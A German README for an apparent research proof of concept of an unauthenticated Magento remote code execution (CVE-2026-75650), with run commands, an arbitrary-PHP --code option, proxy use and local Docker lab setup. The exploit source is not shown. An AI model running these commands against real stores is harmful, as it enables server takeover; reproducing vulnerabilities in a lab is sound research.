
Python-PoC zur Reproduktion von CVE-2026-75650 StyleSmuggler, einer unauthentifizierten Magento-RCE über Report-Poisoning und Failed-Payment-Rendering, mit Canary-Verifikation.
Privates Forschungs-Repository für die ausschließlich HTTP-basierte Reproduktion von StyleSmuggler, CVE-2026-75650, gegen ein lokales Magento Open Source Lab.
Die vollständige technische Analyse finden Sie in Magento StyleSmuggler RCE: Report Poisoning to Code Execution.
Der Python-PoC führt die vollständige unauthentifizierte Sequenz aus:
type, text und styles im
Query-String auslösen;Es wird niemals ein Helper in den Container kopiert oder der Scanner über Docker aufgerufen. Die Python-Standardbibliothek ist ausreichend.
python3 exploit.py --target http://localhost:18082
Die finale Ausgabe muss und denselben frischen -Marker enthalten, der zuvor in diesem Lauf ausgegeben wurde. Ein vorhandener Canary kann die Prüfung nicht erfüllen, da jeder Lauf einen neuen Marker generiert.
RCE VERIFIEDSTYLESMUGGLER_RUN_...Der Report-Pfad muss der Pfad sein, den der Ziel-PHP-Prozess sieht. Überschreiben Sie ihn, wenn Magento ein anderes Document Root verwendet:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
Übergeben Sie PHP-Anweisungen ohne <?php oder ?>:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
Der PoC schreibt seinen frischen Verifikationsmarker vor der Ausführung des übergebenen Fragments und verifiziert diesen Marker danach weiterhin.
Jede Anfrage, einschließlich Report Poisoning und des finalen Canary-Abrufs, kann über einen HTTP-Proxy gesendet werden:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
Fügen Sie --proxy-insecure für ein HTTPS-Ziel hinzu, dessen abgefangenes Zertifikat von Python
nicht als vertrauenswürdig eingestuft wird.
curl_failed_payment.sh führt die vier Stage-2-Anfragen aus und kennzeichnet die
Magento-Komponente, die von jeder Anfrage erreicht wird. Es erfordert curl, jq und
openssl:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
Legen Sie ein anderes Ziel oder einen Burp-Listener über Umgebungsvariablen fest:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml stellt isolierte MySQL-, OpenSearch- und PHP/Apache-
Dienste auf 127.0.0.1:18082 bereit. Es erwartet einen installierten Magento-Quellbaum unter
./magento2-src.
Die finale saubere Validierung verwendete den Magento-Commit:
f8405be831efa461ec18cc5a637cd98afa767015
Klonen Sie die Quelle und installieren Sie deren Composer-Abhängigkeiten, bevor Sie Magentos
normalen setup:install-Prozess ausführen:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
Nachdem Magento mit dem Datenbank-Host db, dem OpenSearch-Host
opensearch und der Basis-URL http://localhost:18082/ installiert wurde, starten Sie den Web-Service:
docker compose up -d web
docker compose ps